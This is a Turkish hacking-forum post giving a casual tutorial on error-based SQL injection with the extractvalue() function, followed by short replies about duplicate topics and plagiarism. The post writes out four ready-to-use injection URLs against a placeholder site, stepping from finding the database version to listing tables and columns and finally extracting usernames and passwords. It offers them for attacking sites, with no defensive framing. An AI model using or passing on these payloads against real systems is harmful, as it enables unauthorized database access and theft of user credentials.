XPath SQL İnj

Kod:
Gençler Gene Ben Nasılsınız İyisinizdir İnşallah Neyse
XPATH SQL INJ Anlatcam Rahat Olun Aslında Olay Çok Basit Önce versiyonunu buluruz sonra tablo kolon derken bir bakacaksınız ov şit men herşey elinizde olacak rahat olun siz hadi bakalım
Kod:
Şimdi Versiyonu Bulmak İçin Ne Yapıyoruz
Kod:
http://www.site.com/page.php?id=31 and extractvalue(rand(),concat(0x3a,version()))--
Kod:
Oh Hadi Gene İyisin Be Bro Kapıyorsun
Kod:
Sıra Geldi Tablolara Haydi Ne Duruyoruz Lan
http://www.site.com/page.php?id=31 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,table_name) from information_schema.tables limit 0,1)))--
Kod:
Ana Biz KOLON Adını Unuttuk Dur Dur Bir Hatırlayım Önce Tamam Hatırladım
Kod:
http://www.site.com/page.php?id=31 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns where table_name=’tabloadı’ limit 0,1)))--
Kod:
Şimdi Dataları Yani Verileri,Bilgileri Çekelim Demi Lan Makale Biraz Kısa Oldu Ama Kusura Bakmayın Neyse İşimi Bitiriyim Artık
Kod:
Bilgileri Çekelim
http://www.site.com/page.php?id=31 and extractvalue(rand(),concat(0x3a,(select concat(username,0x3a,password) from tabloadi)))--
Kod:
Bitti Çok Şükür Makale Yazarken Arkada ki O Kamyoncunun Allah Islah Eylesin Düdüğe Basıp Durdu Anlatamadıysam Kusura Bakmayın Kendinize İyi Bakın

Selamunaleykum Kardeşim. Hoş güzel konular açıyorsunz fakat neredeyse hepsi forumda mevcut. Mevcut olanları tek bir başlık altında paylaşmanı tavsiye ederim lakin uyarı alabilirsin...

zaten hemen hemen hepsi mevcut kardesim mevcut olmuyan kaldımı ki

Holigano' Alıntı:

zaten hemen hemen hepsi mevcut kardesim mevcut olmuyan kaldımı ki

Genişletmek için tıkla ...

Bende onu söylüyorum zaten. mevcut konuları tek konu altında paylaşmanı tavsiye ederim

Black-Shadow dan çalıntı !